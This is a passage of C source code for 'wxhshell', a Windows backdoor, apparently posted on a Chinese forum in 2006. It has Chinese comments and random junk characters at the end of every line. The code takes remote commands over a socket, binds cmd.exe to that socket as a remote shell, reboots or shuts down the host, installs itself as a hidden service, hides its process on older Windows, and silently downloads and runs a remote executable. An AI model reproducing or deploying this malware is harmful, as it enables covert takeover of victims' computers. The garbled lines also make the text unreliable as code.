  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6t <[-  
  } .2P3 !KCL  
  else { 7!o#pt7  
\2f?)id~  
    switch(cmd[0]) { W }Ll)7(|T  
  -'oxenu  
  // 帮助 _MQh<,Z8  
  case '?': { m-[xrVV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u,@ac[!vP  
    break; N>s3tGh  
  } DjZTr}%q  
  // 安装 /a$Zzs&xs  
  case 'i': { H93ug1,  
    if(Install()) , P1m#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DDT]A<WUV  
    else gpbdK?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e=tM=i"  
    break; O#^qd0e'P!  
    } frQ=BV5%6  
  // 卸载 ncsk(`lo  
  case 'r': { uW(Ngcpr  
    if(Uninstall()) 5}]gL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4&L,QSJ V  
    else ]3U|K .G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]'#^ ~.  
    break; :W'.SRD  
    } Q."rE"}<  
  // 显示 wxhshell 所在路径 g1UQ6Oa  
  case 'p': { Ko0T[TNkh  
    char svExeFile[MAX_PATH]; .?F`H[^)^u  
    strcpy(svExeFile,"\n\r"); +b dnTV6  
      strcat(svExeFile,ExeFile); qm=9!jqC;  
        send(wsh,svExeFile,strlen(svExeFile),0); _=qk.|p/  
    break; 4 $)}d  
    } V2 }.X+u&<  
  // 重启 ?I.bC   
  case 'b': { 9\r5&#<(I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b Olb  
    if(Boot(REBOOT)) U`4t4CHA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',Oc +jLR  
    else { QSo48OFs  
    closesocket(wsh); y=1(o3(  
    ExitThread(0); xAf?E%_pi  
    } ;Ac!"_N?7  
    break; \FIOFbwe  
    } %G]WOq=q  
  // 关机 *pGbcBQ  
  case 'd': { V#PT.,Xa.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ; JHf0  
    if(Boot(SHUTDOWN)) 38RyUHL=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {<Vw55)#0Q  
    else { 4L2TsuLw  
    closesocket(wsh); p:4oA<V  
    ExitThread(0); SM`n:{N(  
    } DM !B@  
    break; sCAWrbOe>  
    } 0~nub  
  // 获取shell (Mt-2+"+  
  case 's': { ]*AQT7PH  
    CmdShell(wsh); (DKQHL;  
    closesocket(wsh); cfW;gFf  
    ExitThread(0); LZ~}*}jy  
    break; WNV}@  
  } &o)eRcwH`  
  // 退出 .u9,w  
  case 'x': { "[\TL#/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bX&=*L+ h6  
    CloseIt(wsh); >VvA&p71b  
    break; e:WKb9nT  
    } DqBiBH[%h  
  // 离开 #; >v,Jo  
  case 'q': { 5+iXOs<   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H}}C>p"!,  
    closesocket(wsh); e:RgCDWL  
    WSACleanup(); fnU;DS] W  
    exit(1); N/N~>7f  
    break; Jm*wlN [>  
        } ,9~2#[|lq  
  } ]9NA3U7F  
  } IX 2 dic'  
5'[b:YC  
  // 提示信息 `"qSr%|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IpI|G!Y,  
} Dt*/tVF  
  } 4oRDvn7f&  
@ZGD'+zd?  
  return; xr1,D5  
} _tQR3I5  
'P3jUc)  
// shell模块句柄 Hn!13+fS  
int CmdShell(SOCKET sock) zqa7!ky  
{ {Z(kzJwN  
STARTUPINFO si; 0}I aWd^4  
ZeroMemory(&si,sizeof(si)); <K zEn+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jLv8K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xv>]e <":  
PROCESS_INFORMATION ProcessInfo; ($r-&]y  
char cmdline[]="cmd"; =/MA`>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )lrmP(C*.a  
  return 0; .h[yw$z6  
} cMp#_\B  
x /E<@?*:  
// 自身启动模式 S<UWv@`U"  
int StartFromService(void) M A  
{ IcP\#zhEv  
typedef struct 20A`]-D  
{ <3C/t|s  
  DWORD ExitStatus; #l#8-m8g)  
  DWORD PebBaseAddress; 6g&Ev'  
  DWORD AffinityMask; 1 paLxR5  
  DWORD BasePriority; T?HW=v_a  
  ULONG UniqueProcessId; =a^}]k}  
  ULONG InheritedFromUniqueProcessId; = 4 wf  
}   PROCESS_BASIC_INFORMATION; FDCc?>,o  
(rm*KD"]  
PROCNTQSIP NtQueryInformationProcess; uJ T^=Y  
H?_>wQj&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f O,5 u;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )J{ .z   
"kd)dy95H  
  HANDLE             hProcess; B nUWg ^E  
  PROCESS_BASIC_INFORMATION pbi; ]I'dnd3e  
#Ic)]0L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U'k 0;  
  if(NULL == hInst ) return 0; ,9Si 3vn  
6W[~@~D=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H5>?{(m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7!U^?0?/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .C,D;T{  
O+OUcMa,  
  if (!NtQueryInformationProcess) return 0; 03H0(ku=  
5XoM)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dl@Jj?zc  
  if(!hProcess) return 0; U*4r<y9R  
$Da?)Hz'F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?k dan  
50""n7I<%  
  CloseHandle(hProcess); @2g <d  
r4mz   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jb*E6-9G  
if(hProcess==NULL) return 0; KX J7\}  
DS=$* Trk  
HMODULE hMod; D$N;Qb  
char procName[255]; ^!fY~(=U4  
unsigned long cbNeeded; 6=:s3I^  
3 3zE5vr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YD;G+"n?T  
nF B]#LLv  
  CloseHandle(hProcess); niqknqW<t  
+pRNrg?k  
if(strstr(procName,"services")) return 1; // 以服务启动 s'|t2`K("  
H*e+ 2  
  return 0; // 注册表启动 cj9C6Y!  
} ~7an j.  
ocu,qL)W  
// 主模块 [ ou$*  
int StartWxhshell(LPSTR lpCmdLine) XBoq/kbw!  
{ .,20_<j%=  
  SOCKET wsl; NSM7n= *nh  
BOOL val=TRUE; ^t:dcY7  
  int port=0; pH3<QNq5  
  struct sockaddr_in door; F$bV}>-1k  
|nE4tN#J<  
  if(wscfg.ws_autoins) Install(); :bm%f%gg  
Re&"Q8I.8  
port=atoi(lpCmdLine); mRa\ wEg%  
s VHk;:e>x  
if(port<=0) port=wscfg.ws_port; c]zFZJ6M  
oC-v>&bW  
  WSADATA data; z0OxJe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <v'&Pk<  
=r*Ykd;W|E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H8B$# .  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J\P6  
  door.sin_family = AF_INET; $xWUzg1<U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _OC@J*4.  
  door.sin_port = htons(port); [q U v|l1  
5VJe6i9;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5C&*PJ~WA  
closesocket(wsl); SiUu**zC  
return 1; [}]yJ+)  
} rlD!%gG2x  
*= ?|n   
  if(listen(wsl,2) == INVALID_SOCKET) { s M*ay,v;  
closesocket(wsl); #=={h?UDT  
return 1; 9v[V"m`M  
} P:t .Nr"  
  Wxhshell(wsl); a eeor  
  WSACleanup(); MM_:2 ^P)  
BjeD4  
return 0; NB4O,w  
tM^4K r~o,  
} (6 Od   
2 U]d 1  
// 以NT服务方式启动 I{jvUYrKH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y;uR@{  
{  RQb}t,  
DWORD   status = 0; r`.N?  
  DWORD   specificError = 0xfffffff; OU"%,&J  
|PlNVd2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f+Sb> $  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 94?WL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =jJEl=*S  
  serviceStatus.dwWin32ExitCode     = 0; i*Ldec^  
  serviceStatus.dwServiceSpecificExitCode = 0; [104;g <  
  serviceStatus.dwCheckPoint       = 0; BUJ\[/  
  serviceStatus.dwWaitHint       = 0; \7uM5 k}l  
X 3$ W60Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'Vo8|?.WhX  
  if (hServiceStatusHandle==0) return; L_NiU;cr%  
e[fOm0^.c  
status = GetLastError(); *B"Y]6$  
  if (status!=NO_ERROR) Z(T{K\)uN  
{ RHg-Cg`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; . \"k49M`  
    serviceStatus.dwCheckPoint       = 0; 0{|HRiQH9+  
    serviceStatus.dwWaitHint       = 0; k=hWYe$iAz  
    serviceStatus.dwWin32ExitCode     = status; 8~]D!c8;a  
    serviceStatus.dwServiceSpecificExitCode = specificError; odsFgh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AQg|lKv  
    return; akxNT_   
  } Y8\P"q b  
/,I cs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .mt%8GM  
  serviceStatus.dwCheckPoint       = 0; Y~-y\l;Tr  
  serviceStatus.dwWaitHint       = 0; Ve3z5d:^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UtQey ;w  
}  ir6' \  
*[3xc*5F/A  
// 处理NT服务事件,比如:启动、停止 _!R$a-  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  b.&W W  
{ rtRbr_  
switch(fdwControl) S3E,0%yo+)  
{ xi=ApwNj  
case SERVICE_CONTROL_STOP: pn gto  
  serviceStatus.dwWin32ExitCode = 0; TZAd{EZa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G @..?>  
  serviceStatus.dwCheckPoint   = 0; $/++afi m  
  serviceStatus.dwWaitHint     = 0; _`|1B$@x  
  { d]pb1ECuu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '7-Yo Q  
  } %w*)7@,+-  
  return; fkBL`[v)4  
case SERVICE_CONTROL_PAUSE: hM Dd*<%l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4^tSg#!V{  
  break; lmvp,BzC  
case SERVICE_CONTROL_CONTINUE: h'):/}JPl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2Wz8E2.  
  break; _\}'5nmw\  
case SERVICE_CONTROL_INTERROGATE: d,V#5l-6  
  break; ,Of^xER`  
}; O1J&Lwpk,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &12K pEyf  
} _\ToA9m  
sjr,)|#[  
// 标准应用程序主函数 ,50  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !Rn6x $_  
{ &9p!J(C  
Z<-_Y]4j  
// 获取操作系统版本 %9J@##+  
OsIsNt=GetOsVer(); {AL EK   
GetModuleFileName(NULL,ExeFile,MAX_PATH); n qcq3o*B  
Y%s:oHt  
  // 从命令行安装 1iy$n  
  if(strpbrk(lpCmdLine,"iI")) Install(); F4EAC|Y  
I,j4 BU4  
  // 下载执行文件 Tlsh[@Q  
if(wscfg.ws_downexe) { /kW Z 8Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) / (&E  
  WinExec(wscfg.ws_filenam,SW_HIDE); C82_ )@96  
} Gk,Bx1y  
E.oJ[;  
if(!OsIsNt) { GXtMX ha,  
// 如果时win9x,隐藏进程并且设置为注册表启动 jFj11w1FrA  
HideProc(); OSgJj MQ  
StartWxhshell(lpCmdLine); )'_[R@ThB  
} b(H{i}{]  
else /4:bx#;A  
  if(StartFromService()) 1i76u!{U  
  // 以服务方式启动 x sryXex;  
  StartServiceCtrlDispatcher(DispatchTable); I`kfe`_  
else 9DxHdpOk  
  // 普通方式启动 `8:)? 0Ez  
  StartWxhshell(lpCmdLine); zfIo] M`  
yn4T!r "  
return 0; xM*_1+<dT$  
}
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只看该作者 1 发表于: 2006-10-10
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